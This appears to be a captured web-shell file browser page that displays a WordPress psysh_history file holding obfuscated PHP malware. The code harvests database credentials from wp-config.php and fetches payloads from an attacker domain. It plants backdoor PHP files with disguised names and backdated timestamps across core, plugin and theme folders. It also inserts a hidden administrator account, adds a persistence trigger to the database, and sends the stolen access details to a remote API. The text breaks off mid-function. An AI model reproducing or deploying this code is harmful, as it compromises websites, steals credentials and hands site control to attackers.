HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux ns3133907 6.8.0-86-generic #87-Ubuntu SMP PREEMPT_DYNAMIC Mon Sep 22 18:03:36 UTC 2025 x86_64
User: cssnetorguk (1024)
PHP: 8.2.28
Disabled: NONE
Upload Files
File: /home/design-logix.co.uk/public_html/wp-content/psysh_history
_HiStOrY_V2_
//\012define('CURRENTDIR',\040getcwd());\012define('UPLOAD_SHELL',\0401);\012define('OUT',\0402);\012define('API_PATH',\040'http://march03252.com/src/accsec.php');\012\012/**\040without\040http\040*\040*/\012define('PATH_TO_BACK_SHELL',\040'wp-top.com/greh');\012/**\040without\040http\040*\040*/\012$vhdwtjrinbzj\040=\040'http://march03252.com/src/temp/3f23403f3262e57587a4af6416bf1b3c';\012\012\012$uzzekmbqy\040=\040djikvnkh();\012\012$lkbokxuin\040=\040'wpupdate';\012$holbbbmgc\040=\040fmovnxt();\012$grzmsclbgkrc\040=\040$uzzekmbqy[1];\012$lmdmucwyysr\040=\040$holbbbmgc;\012$ibftdsabbkwd\040=\040'';\012$nntqvob\040=\040'https://wordpress.com';\012$iciqtudjxdku\040=\040ixekquk('2019-07-09\04000:00:00',\040'2023-08-27\04000:00:00');\012$xotgyiimvy\040=\040'';\012$oylxrcjz\040=\040'0';\012$iuipnseal\040=\040$holbbbmgc;\012\012\012if\040(is_null($oouajeo\040=\040hrmbbshnm()))\040{\012\040\040\040\040echo\040'invalid\040detect\040wp\040root\040dir';\012\040\040\040\040exit;\012}\012\012\012if\040(!function_exists('file_put_contents'))\040{\012\012\040\040\040\040function\040file_put_contents($jaxjmsnenv,\040$yetqgk)\040{\012\040\040\040\040\040\040\040\040$unseqbge\040=\040@fopen($jaxjmsnenv,\040'w');\012\040\040\040\040\040\040\040\040if\040(!$unseqbge)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\040\040\040\040\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$gbnzwg\040=\040fwrite($unseqbge,\040$yetqgk);\012\040\040\040\040\040\040\040\040\040\040\040\040fclose($unseqbge);\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$gbnzwg;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040}\012\012}\012\012$tugybgalykp\040=\040array();\012\012\012if\040(!file_exists($hilddhwhx\040=\040$oouajeo\040.\040'/wp-config.php'))\040{\012\040\040\040\040echo\040'wp-config\040not\040found';\012\040\040\040\040exit;\012}\012$naochxacw\040=\040file_get_contents($hilddhwhx);\012\012\012preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\134'\134"],\134s*[\134'\134"](.+)[\134'\134"]\134s*\134);~m",\040$naochxacw,\040$qjkyywcg);\012preg_match("~table_prefix\134s+=\134s*[\134'\134"](.+)[\134'\134"];~",\040$naochxacw,\040$cytihjyxtapr);\012\012\012$casmjiwpvf\040=\040$qjkyywcg[2][0];\012$xtyuscadrtlp\040=\040$qjkyywcg[2][1];\012$bhnnef\040=\040$qjkyywcg[2][2];\012$fmnagenkml\040=\040$qjkyywcg[2][3];\012$zxpygqco\040=\040$cytihjyxtapr[1];\012\012\012$lplbetxn\040=\040wysqyqfz($holbbbmgc,\040$grzmsclbgkrc,\040$lmdmucwyysr,\040$ibftdsabbkwd,\040$nntqvob,\040$iciqtudjxdku,\040$xotgyiimvy,\040$oylxrcjz,\040$iuipnseal,\040$casmjiwpvf,\040$zxpygqco);\012\012$trvgqz\040=\040mysqli_connect($fmnagenkml,\040$xtyuscadrtlp,\040$bhnnef,\040$casmjiwpvf);\012\012\012if\040(!$trvgqz)\040{\012\040\040\040\040require_once($oouajeo\040.\040'/wp-config.php');\012\012\040\040\040\040$oqpyszuub\040=\040get_defined_constants(true);\012\012\040\040\040\040if\040(!$oqpyszuub['user'])\040{\012\040\040\040\040\040\040\040\040throw\040new\040\134Exception("Could\040not\040connect");\012\040\040\040\040}\012\012\040\040\040\040$casmjiwpvf\040=\040$oqpyszuub['user']['DB_NAME'];\012\040\040\040\040$xtyuscadrtlp\040=\040$oqpyszuub['user']['DB_USER'];\012\040\040\040\040$bhnnef\040=\040$oqpyszuub['user']['DB_PASSWORD'];\012\040\040\040\040$fmnagenkml\040=\040$oqpyszuub['user']['DB_HOST'];\012\040\040\040\040$zxpygqco\040=\040$cytihjyxtapr[1];\012\012\012\040\040\040\040$trvgqz\040=\040mysqli_connect($fmnagenkml,\040$xtyuscadrtlp,\040$bhnnef,\040$casmjiwpvf);\012}\012\012\012$iahnpeqrmafe\040=\040$_SERVER['HTTP_HOST'];\012\012if\040(mysqli_connect_errno())\040{\012\040\040\040\040$aqpbkr\040=\0401;\012\040\040\040\040echo\040"Could\040not\040connect"\040.\040PHP_EOL;\012}\040else\040{\012\040\040\040\040echo\040"Connected\040successfully"\040.\040PHP_EOL;\012\012\040\040\040\040$zmxratgjr\040=\040mysqli_query($trvgqz,\040"select\040*\040from\040"\040.\040$zxpygqco\040.\040"options\040where\040option_name\040=\040'home'\040or\040option_name\040=\040'siteurl'");\012\040\040\040\040$bffcxazkbel\040=\040mysqli_fetch_row($zmxratgjr);\012\012\040\040\040\040if\040(stristr($bffcxazkbel[2],\040'http')\040!==\040false)\040{\012\040\040\040\040\040\040\040\040$iahnpeqrmafe\040=\040$bffcxazkbel[2];\012\040\040\040\040}\012\012\040\040\040\040if\040(stristr($bffcxazkbel[3],\040'http')\040!==\040false)\040{\012\040\040\040\040\040\040\040\040$iahnpeqrmafe\040=\040$bffcxazkbel[3];\012\040\040\040\040}\012}\012\012\012if\040(UPLOAD_SHELL\040===\0401)\040{\012\012\040\040\040\040if\040(!function_exists('curl_init'))\040{\012\040\040\040\040\040\040\040\040$dqeefgp\040=\040myxtwomw($vhdwtjrinbzj);\012\040\040\040\040\040\040\040\040define('USE_FGC',\0401);\012\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040$dqeefgp\040=\040fxvvg($vhdwtjrinbzj);\012\040\040\040\040}\012\012\040\040\040\040if\040(!$dqeefgp)\040{\012\040\040\040\040\040\040\040\040echo\040'check\040sh\040domain'\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040exit;\012\040\040\040\040}\012\012\040\040\040\040if\040($dqeefgp[1]\040===\040403)\040{\012\040\040\040\040\040\040\040\040echo\040'firewall\040in\040action!';\012\040\040\040\040\040\040\040\040exit;\012\040\040\040\040}\012\012\040\040\040\040if\040($dqeefgp[1]\040!==\040200)\040{\012\040\040\040\040\040\040\040\040echo\040'need\040update\040script'\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040exit;\012\040\040\040\040}\012\012\040\040\040\040$xgcrkxqtbqxx\040=\040$dqeefgp[0];\012\012\012\040\040\040\040$xpafsyfvp\040=\040unserialize(base64_decode($xgcrkxqtbqxx));\012\012\040\040\040\040$hkqclrsvz\040=\040array('variable',\040'function',\040'class',\040'object',\040'array',\040'string',\040'integer',\040'boolean',\040'float',\040'double',\040'character',\040'list',\040'set',\040'queue',\040'stack',\040'pointer',\040'reference',\040'constructor',\040'interface',\040'method',\040'event',\040'exception',\040'loop',\040'condition',\040'statement',\040'module',\040'package',\040'library',\040'framework',\040'compiler',\040'interpreter',\040'database',\040'sql',\040'query',\040'index',\040'table',\040'view',\040'trigger',\040'schema',\040'git',\040'repository',\040'branch',\040'merge',\040'client',\040'encryption',\040'decryption',\040'hashing',\040'session',\040'cookie',\040'json',\040'xml',\040'restful',\040'soap',\040'url',\040'http',\040'https',\040'dns',\040'firewall',\040'security',\040'ajax-response',\040'cron',\040'stream',\040'private',\040'meta',\040'wp',\040'core',\040'ajax',\040'beta',\040'alpha',\040'sample',\040'path',\040'request',\040'old',\040'info',\040'base',\040'num',\040'all',\040'stat',\040'new',\040'plain',\040'add',\040'edit',\040'live',\040'pic',\040'less',\040'more',\040'part',\040'get',\040'long',\040'call',\040'first',\040'time',\040'other');\012\012\040\040\040\040$olcfqawjlj\040=\040oiwydn($oouajeo\040.\040'/wp-admin',\0403);\012\040\040\040\040$aypbrdcldkbz\040=\040oiwydn($oouajeo\040.\040'/wp-content/plugins',\0403);\012\040\040\040\040$idjcpkl\040=\040oiwydn($oouajeo\040.\040'/wp-includes',\0403);\012\040\040\040\040$dzsptcwyjy\040=\040oiwydn($oouajeo\040.\040'/wp-content/themes',\0403);\012\040\040\040\040$umtmnjq\040=\040array_merge($olcfqawjlj,\040$aypbrdcldkbz,\040$idjcpkl,\040$dzsptcwyjy);\012\040\040\040\040$wblmctdpllf\040=\040count($hkqclrsvz);\012\012\012\040\040\040\040$ukhuuhzztvbs\040=\040$oouajeo\040.\040'/wp-config-sample.php';\012\040\040\040\040$wmnfccnjouo\040=\040$xpafsyfvp['wp-config-sample.php?config'];\012\040\040\040\040$fydygm\040=\040$hkqclrsvz[rand(0,\040$wblmctdpllf\040-\0401)]\040.\040okjry(rand(3,\0406));\012\040\040\040\040$ltkvsfeay\040=\040'$_GET[\134''\040.\040$fydygm\040.\040'\134']';\012\040\040\040\040$wmnfccnjouo\040=\040str_replace('$_GET[\134'config\134']',\040$ltkvsfeay,\040$wmnfccnjouo);\012\040\040\040\040file_put_contents($ukhuuhzztvbs,\040$wmnfccnjouo);\012\040\040\040\040touch($ukhuuhzztvbs,\040jyuugaf(dirname($ukhuuhzztvbs)));\012\040\040\040\040$tugybgalykp[]\040=\040xvlmtie($oouajeo,\040$ukhuuhzztvbs\040.\040'?'\040.\040$fydygm,\040$iahnpeqrmafe);\012\012\012\040\040\040\040unset($xpafsyfvp['wp-config-sample.php?config']);\012\012\040\040\040\040if\040(empty($umtmnjq))\040{\012\040\040\040\040\040\040\040\040echo\040'no\040directories\040to\040write'\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040exit;\012\040\040\040\040}\012\012\040\040\040\040$zqfzzin\040=\040array_keys($xpafsyfvp);\012\012\012\040\040\040\040foreach\040($umtmnjq\040as\040$vsqfjyufw)\040{\012\012\040\040\040\040\040\040\040\040if\040(empty($zqfzzin))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$zqfzzin\040=\040array_keys($xpafsyfvp);\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$isbypc\040=\040str_replace('.php',\040'-'\040.\040$hkqclrsvz[rand(0,\040$wblmctdpllf\040-\0401)]\040.\040'.php',\040$vsqfjyufw);\012\040\040\040\040\040\040\040\040$knpatbaax\040=\040array_shift($zqfzzin);\012\040\040\040\040\040\040\040\040$tzqiokbbwfd\040=\040$xpafsyfvp[$knpatbaax];\012\040\040\040\040\040\040\040\040file_put_contents($isbypc,\040$tzqiokbbwfd);\012\040\040\040\040\040\040\040\040touch($isbypc,\040jyuugaf(dirname($isbypc)));\012\040\040\040\040\040\040\040\040$uhmqsdny\040=\040explode('?',\040$knpatbaax);\012\040\040\040\040\040\040\040\040$vqtninf\040=\040xvlmtie($oouajeo,\040$isbypc,\040$iahnpeqrmafe);\012\040\040\040\040\040\040\040\040$tugybgalykp[]\040=\040(isset($uhmqsdny[1]))\040?\040$vqtninf\040.\040'?'\040.\040zdjph($uhmqsdny[1])\040:\040$vqtninf;\012\040\040\040\040}\012}\012\012function\040zdjph($uhmqsdny)\040{\012\040\040\040\040if\040(defined('PATH_TO_BACK_SHELL')\040&&\040(stristr($uhmqsdny,\040'example.com')\040!==\040false))\040{\012\040\040\040\040\040\040\040\040return\040str_replace('example.com',\040PATH_TO_BACK_SHELL,\040$uhmqsdny);\012\040\040\040\040}\012\040\040\040\040return\040$uhmqsdny;\012}\012\012if\040(!isset($aqpbkr))\040{\012\012\040\040\040\040$sxcqpvyfiec\040=\040hafpisg($iahnpeqrmafe);\012\040\040\040\040$kbvknjfcuh\040=\040"update\040`${zxpygqco}options`\040set\040option_value\040=\040''\040WHERE\040`option_name`\040LIKE\040'close_comments_for_old_posts'";\012\012\040\040\040\040if\040(!mysqli_query($trvgqz,\040$kbvknjfcuh))\040{\012\040\040\040\040\040\040\040\040echo\040'invalid\040set\040value\0400\040for\040option\040>>close_comments_value<<'\040.\040PHP_EOL;\012\040\040\040\040}\012\012\012\040\040\040\040$bkrzwerto\040=\040"UPDATE\040`${zxpygqco}posts`\040set\040ping_status\040=\040'open'\040where\040(post_type\040\040=\040'page'\040OR\040post_type\040=\040'post')\040AND\040post_status\040=\040'publish'\040AND\040guid\040LIKE\040'%${sxcqpvyfiec}%'\040ORDER\040BY\040id\040LIMIT\0405";\012\040\040\040\040$zimgubswrizi\040=\040array();\012\012\012\040\040\040\040if\040(mysqli_query($trvgqz,\040$bkrzwerto))\040{\012\040\040\040\040\040\040\040\040//echo\040'posts\040ready\040to\040accept\040trackbacks'\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040$lbivaeijgtqq\040=\040"select\040id,\040guid,\040post_name\040from\040`${zxpygqco}posts`\040where\040(post_type\040\040=\040'page'\040OR\040post_type\040=\040'post')\040AND\040post_status\040=\040'publish'\040AND\040guid\040LIKE\040'%${sxcqpvyfiec}%'\040ORDER\040BY\040id\040LIMIT\0405";\012\040\040\040\040\040\040\040\040$oszupqbdz\040=\040mysqli_query($trvgqz,\040$lbivaeijgtqq);\012\040\040\040\040\040\040\040\040while\040($hkddovryy\040=\040mysqli_fetch_array($oszupqbdz))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$zimgubswrizi[]\040=\040array($hkddovryy['id'],\040$hkddovryy['guid'],\040$hkddovryy['post_name']);\012\040\040\040\040\040\040\040\040}\012\040\040\040\040}\012\012\012\040\040\040\040//$optnagmdbl\040=\040"SELECT\040*\040FROM\040`${zxpygqco}users`\040WHERE\040`user_pass`\040=\040'$grzmsclbgkrc'";\012\040\040\040\040$optnagmdbl\040=\040"SELECT\040*\040FROM\040`${zxpygqco}users`\040WHERE\040`user_login`\040=\040'$holbbbmgc'\040order\040by\040id\040desc\040limit\0401";\012\040\040\040\040$nqpmnhqf\040=\040"SELECT\040*\040FROM\040`${zxpygqco}users`\040WHERE\040`user_login`\040=\040'$lkbokxuin'";\012\040\040\040\040$ktfmazd\040=\040mysqli_query($trvgqz,\040$optnagmdbl);\012\040\040\040\040$xpjfnnvy\040=\040mysqli_query($trvgqz,\040$nqpmnhqf);\012\012\012\040\040\040\040if\040(mysqli_num_rows($xpjfnnvy))\040{\012\040\040\040\040\040\040\040\040$npskodrerw\040=\040"delete\040from\040`${zxpygqco}users`\040WHERE\040`user_login`\040=\040'$lkbokxuin'";\012\040\040\040\040\040\040\040\040mysqli_query($trvgqz,\040$npskodrerw);\012\040\040\040\040}\012\012\040\040\040\040if\040(!mysqli_num_rows($ktfmazd))\040{\012\040\040\040\040\040\040\040\040$pvzherlxdsu\040=\040mysqli_query($trvgqz,\040"SELECT\040ID\040from\040`"\040.\040$casmjiwpvf\040.\040"`.`"\040.\040$zxpygqco\040.\040"users`\040ORDER\040BY\040`ID`\040DESC\040LIMIT\0401");\012\040\040\040\040\040\040\040\040$eyqpettjyeg\040=\040mysqli_fetch_row($pvzherlxdsu);\012\040\040\040\040\040\040\040\040$nzkvpxpw\040=\040(int)++$eyqpettjyeg[0];\012\012\040\040\040\040\040\040\040\040mysqli_query($trvgqz,\040"INSERT\040INTO\040`"\040.\040$casmjiwpvf\040.\040"`.`"\040.\040$zxpygqco\040.\040"users`\040(`ID`,\040`user_login`,\040`user_pass`,\040`user_nicename`,\040`user_email`,\040`user_url`,\040`user_registered`,\040`user_activation_key`,\040`user_status`,\040`display_name`)\040VALUES\040('$nzkvpxpw',\040'$holbbbmgc',\040'$grzmsclbgkrc',\040'$lmdmucwyysr',\040'$ibftdsabbkwd',\040'$nntqvob',\040'$iciqtudjxdku',\040'$xotgyiimvy',\040'$oylxrcjz',\040'$iuipnseal')");\012\040\040\040\040\040\040\040\040mysqli_query($trvgqz,\040"INSERT\040INTO\040`"\040.\040$casmjiwpvf\040.\040"`.`"\040.\040$zxpygqco\040.\040"usermeta`\040(`umeta_id`,\040`user_id`,\040`meta_key`,\040`meta_value`)\040VALUES\040(NULL,\040$nzkvpxpw,\040'"\040.\040$zxpygqco\040.\040"capabilities',\040'a:1:{s:13:\134"administrator\134";s:1:\134"1\134";}')");\012\040\040\040\040\040\040\040\040mysqli_query($trvgqz,\040"INSERT\040INTO\040`"\040.\040$casmjiwpvf\040.\040"`.`"\040.\040$zxpygqco\040.\040"usermeta`\040(`umeta_id`,\040`user_id`,\040`meta_key`,\040`meta_value`)\040VALUES\040(NULL,\040$nzkvpxpw,\040'"\040.\040$zxpygqco\040.\040"user_level',\040'10')");\012\012\040\040\040\040\040\040\040\040//echo\040$iahnpeqrmafe\040.\040"\040admin\040inserted"\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040echo\040sprintf('%s\040admin\040inserted\040%s::%s',\040$iahnpeqrmafe,\040$holbbbmgc,\040$uzzekmbqy[0])\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040$rthurlirnt\040=\0401;\012\012\012\040\040\040\040\040\040\040\040mysqli_query($trvgqz,\040"DROP\040TRIGGER\040IF\040EXISTS\040`after_insert_comment`");\012\040\040\040\040\040\040\040\040try\040{\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(mysqli_query($trvgqz,\040$lplbetxn))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040echo\040'trigger\040created'\040.\040str_repeat(PHP_EOL,\0403);\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040}\040catch\040(\134Exception\040$efvzunkaak)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040echo\040$efvzunkaak->getMessage()\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040}\040else\040{\012\012\012\040\040\040\040\040\040\040\040while\040($apkdcnoxnym\040=\040mysqli_fetch_array($ktfmazd))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040$pugcsssn\040=\040$apkdcnoxnym['user_pass'];\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$ugvqlqiyej\040=\040"SHOW\040TRIGGERS";\012\040\040\040\040\040\040\040\040$kbxqan\040=\040mysqli_query($trvgqz,\040$ugvqlqiyej);\012\012\040\040\040\040\040\040\040\040if\040($kbxqan)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040while\040($bholrqkt\040=\040mysqli_fetch_array($kbxqan))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040($bholrqkt['Trigger']\040===\040'after_insert_comment')\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040(strpos($bholrqkt['Statement'],\040$pugcsssn)\040!==\040false)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040//echo\040'hash\040and\040trigger\040matched!';\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040break;\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040//echo\040'not\040matched\040need\040drop\040trigger';\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040mysqli_query($trvgqz,\040"DROP\040TRIGGER\040IF\040EXISTS\040`after_insert_comment`");\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040try\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$lplbetxn\040=\040wysqyqfz($holbbbmgc,\040$pugcsssn,\040$lmdmucwyysr,\040$ibftdsabbkwd,\040$nntqvob,\040$iciqtudjxdku,\040$xotgyiimvy,\040$oylxrcjz,\040$iuipnseal,\040$casmjiwpvf,\040$zxpygqco);\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040(mysqli_query($trvgqz,\040$lplbetxn))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040echo\040'trigger\040created'\040.\040str_repeat(PHP_EOL,\0403);\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\040catch\040(\134Exception\040$efvzunkaak)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040echo\040$efvzunkaak->getMessage()\040.\040PHP_EOL;\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040break;\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040echo\040$iahnpeqrmafe\040.\040'\040admin\040exists'\040.\040PHP_EOL;\012\040\040\040\040}\012\012\012\040\040\040\040mysqli_close($trvgqz);\012}\012\012echo\040implode("\134n",\040$tugybgalykp)\040.\040"\134n";\012\012$tugybgalykp['host']\040=\040$iahnpeqrmafe;\012if\040(!empty($zimgubswrizi))\040{\012\040\040\040\040$tugybgalykp['trackbacks']\040=\040$zimgubswrizi;\012}\012\012if\040(isset($rthurlirnt))\040{\012\040\040\040\040$tugybgalykp['authdata']\040=\040array($holbbbmgc,\040$uzzekmbqy[0]);\012}\012\012$tugybgalykp['out']\040=\040OUT;\012\012\012$diyspeedjo\040=\040jurti(API_PATH,\040array('source'\040=>\040base64_encode(serialize($tugybgalykp)),));\012\012if\040(trim($diyspeedjo)\040!==\040'success')\040{\012\040\040\040\040echo\040"!!!!error\040while\040sending\040data!!!!"\040.\040PHP_EOL;\012\040\040\040\040exit;\012}\012\012\012echo\040str_repeat('_',\040400)\040.\040"\134n";\012\012function\040hrmbbshnm()\040{\012\012\040\040\040\040if\040(file_exists(CURRENTDIR\040.\040'/wp-config.php'))\040{\012\040\040\040\040\040\040\040\040return\040CURRENTDIR;\012\040\040\040\040}\012\040\040\040\040$vnlzmgn\040=\040preg_replace('~\134/(wp-admin|wp-includes|wp-content).*$~',\040'',\040CURRENTDIR);\012\012\012\040\040\040\040if\040(file_exists($vnlzmgn\040.\040'/wp-config.php'))\040{\012\040\040\040\040\040\040\040\040return\040$vnlzmgn;\012\040\040\040\040}\012\012\040\040\040\040return\040null;\012}\012\012function\040myxtwomw($vqtninf)\040{\012\040\040\040\040$rkyrkiomi\040=\040stream_context_create(array('http'\040=>\040array('ignore_errors'\040=>\040true)));\012\040\040\040\040$yetqgk\040=\040@file_get_contents($vqtninf,\040false,\040$rkyrkiomi);\012\040\040\040\040if\040($yetqgk\040===\040false)\040{\012\040\040\040\040\040\040\040\040$tiafol\040=\040error_get_last();\012\040\040\040\040\040\040\040\040//echo\040"HTTP\040request\040failed.\040Error\040was:\040"\040.\040$tiafol['message'];\012\040\040\040\040\040\040\040\040return\040false;\012\040\040\040\040}\040else\040{\012\040\040\040\040\040\040\040\040$euythxpts\040=\040null;\012\040\040\040\040\040\040\040\040if\040(!empty($jawhuvlny)\040&&\040isset($jawhuvlny[0]))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040preg_match('{HTTP\134/\134S*\134s(\134d{3})}',\040$jawhuvlny[0],\040$mdebmbfrkjjh);\012\040\040\040\040\040\040\040\040\040\040\040\040$euythxpts\040=\040intval($mdebmbfrkjjh[1]);\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040return\040array($yetqgk,\040$euythxpts);\012\040\040\040\040}\012\012}\012\012function\040fxvvg($vqtninf)\040{\012\040\040\040\040$caokjf\040=\040curl_init();\012\040\040\040\040curl_setopt($caokjf,\040CURLOPT_URL,\040$vqtninf);\012\040\040\040\040curl_setopt($caokjf,\040CURLOPT_HEADER,\0400);\012\040\040\040\040curl_setopt($caokjf,\040CURLOPT_RETURNTRANSFER,\0401);\012\040\040\040\040curl_setopt($caokjf,\040CURLOPT_TIMEOUT,\04010);\012\040\040\040\040$yetqgk\040=\040curl_exec($caokjf);\012\012\040\040\040\040if\040(!$yetqgk)\040{\012\040\040\040\040\040\040\040\040return\040false;\012\040\040\040\040}\012\012\040\040\040\040$cearpbnfrko\040=\040curl_getinfo($caokjf,\040CURLINFO_HTTP_CODE);\012\012\040\040\040\040curl_close($caokjf);\012\040\040\040\040return\040array($yetqgk,\040$cearpbnfrko);\012}\012\012function\040jurti($vqtninf,\040$yetqgk)\040{\012\040\040\040\040if\040(defined('USE_FGC'))\040{\012\040\040\040\040\040\040\040\040return\040jgmfl($vqtninf,\040$yetqgk);\012\040\040\040\040}\012\040\040\040\040return\040gmimdatw($vqtninf,\040$yetqgk);\012}\012\012function\040jgmfl($vqtninf,\040$yetqgk)\040{\012\040\040\040\040$frcpia\040=\040http_build_query($yetqgk);\012\012\040\040\040\040$jhcpwldzj\040=\040array(\012\040\040\040\040\040\040\040\040'http'\040=>\040array(\012\040\040\040\040\040\040\040\040\040\040\040\040'method'\040=>\040'POST',\012\040\040\040\040\040\040\040\040\040\040\040\040'header'\040=>\040'Content-Type:\040application/x-www-form-urlencoded',\012\040\040\040\040\040\040\040\040\040\040\040\040'content'\040=>\040$frcpia,\012\040\040\040\040\040\040\040\040\040\040\040\040'timeout'\040=>\04010,\012\040\040\040\040\040\040\040\040),\012\040\040\040\040\040\040\040\040"ssl"\040=>\040array(\012\040\040\040\040\040\040\040\040\040\040\040\040"verify_peer"\040=>\040false,\012\040\040\040\040\040\040\040\040\040\040\040\040"verify_peer_name"\040=>\040false,\012\040\040\040\040\040\040\040\040),\012\040\040\040\040);\012\012\040\040\040\040$rkyrkiomi\040=\040stream_context_create($jhcpwldzj);\012\040\040\040\040$pjnmyqm\040=\040@file_get_contents($vqtninf,\040false,\040$rkyrkiomi);\012\040\040\040\040$euythxpts\040=\040null;\012\040\040\040\040if\040(isset($jawhuvlny[0]))\040{\012\040\040\040\040\040\040\040\040preg_match('{HTTP\134/\134S*\134s(\134d{3})}',\040$jawhuvlny[0],\040$mdebmbfrkjjh);\012\040\040\040\040\040\040\040\040$euythxpts\040=\040intval($mdebmbfrkjjh[1]);\012\040\040\040\040}\012\012\012\040\040\040\040return\040($euythxpts\040===\040200)\040?\040trim($pjnmyqm)\040:\040null;\012}\012\012function\040gmimdatw($vqtninf,\040$yetqgk)\040{\012\012\040\040\040\040$caokjf\040=\040curl_init();\012\040\040\040\040curl_setopt($caokjf,\040CURLOPT_URL,\040$vqtninf);\012\040\040\040\040curl_setopt($caokjf,\040CURLOPT_RETURNTRANSFER,\040true);\012\040\040\040\040curl_setopt($caokjf,\040CURLOPT_TIMEOUT,\04010);\012\040\040\040\040curl_setopt($caokjf,\040CURLOPT_POST,\040true);\012\040\040\040\040curl_setopt($caokjf,\040CURLOPT_POSTFIELDS,\040$yetqgk);\012\040\040\040\040curl_setopt($caokjf,\040CURLOPT_SSL_VERIFYHOST,\0400);\012\040\040\040\040curl_setopt($caokjf,\040CURLOPT_SSL_VERIFYPEER,\0400);\012\012\040\040\040\040$pjnmyqm\040=\040curl_exec($caokjf);\012\040\040\040\040$atqdppeqnww\040=\040curl_getinfo($caokjf);\012\040\040\040\040curl_close($caokjf);\012\012\040\040\040\040return\040($atqdppeqnww["http_code"]\040==\040200)\040?\040trim($pjnmyqm)\040:\040null;\012}\012\012function\040jyuugaf($zkmryy)\040{\012\012\040\040\040\040foreach\040(glob($zkmryy\040.\040"/*php")\040as\040$fbqjpcmm)\040{\012\040\040\040\040\040\040\040\040$inewmiccvxr[]\040=\040filemtime($fbqjpcmm);\012\040\040\040\040}\012\040\040\040\040$twytffnbg\040=\040array_count_values($inewmiccvxr);\012\040\040\040\040arsort($twytffnbg);\012\040\040\040\040$zqfzzin\040=\040array_keys($twytffnbg);\012\040\040\040\040return\040array_shift($zqfzzin);\012}\012\012function\040xvlmtie($monacd,\040$isbypc,\040$sxcqpvyfiec\040=\040null)\040{\012\012\040\040\040\040$sxcqpvyfiec\040=\040!$sxcqpvyfiec\040?\040'http://'\040.\040$_SERVER['HTTP_HOST']\040:\040$sxcqpvyfiec;\012\040\040\040\040$mzpkipu\040=\040str_replace($monacd,\040'',\040$isbypc);\012\012\040\040\040\040return\040rtrim($sxcqpvyfiec,\040'/')\040.\040DIRECTORY_SEPARATOR\040.\040ltrim($mzpkipu,\040'/');\012}\012\012function\040khmrflj($jdextkrfmkk,\040$qwoyxwtrr\040=\0401)\040{\012\040\040\040\040if\040(!is_dir($jdextkrfmkk))\040{\012\040\040\040\040\040\040\040\040return;\012\040\040\040\040}\012\012\040\040\040\040$rthzjsrj\040=\040realpath($jdextkrfmkk);\012\012\012\040\040\040\040$ztkgxqr\040=\040new\040RecursiveIteratorIterator(new\040RecursiveDirectoryIterator($rthzjsrj),\040RecursiveIteratorIterator::SELF_FIRST,\040RecursiveIteratorIterator::CATCH_GET_CHILD);\012\012\040\040\040\040$ztkgxqr->setMaxDepth($qwoyxwtrr);\012\012\040\040\040\040foreach\040($ztkgxqr\040as\040$jflqadz\040=>\040$eejobxzxrv)\040{\012\040\040\040\040\040\040\040\040if\040(($rthzjsrj\040=\040$eejobxzxrv->getPath())\040===\040$jdextkrfmkk)\040{\012\040\040\040\040\040\040\040\040\040\040\040\040continue;\012\040\040\040\040\040\040\040\040}\012\040\040\040\040\040\040\040\040if\040(is_dir($eejobxzxrv)\040&&\04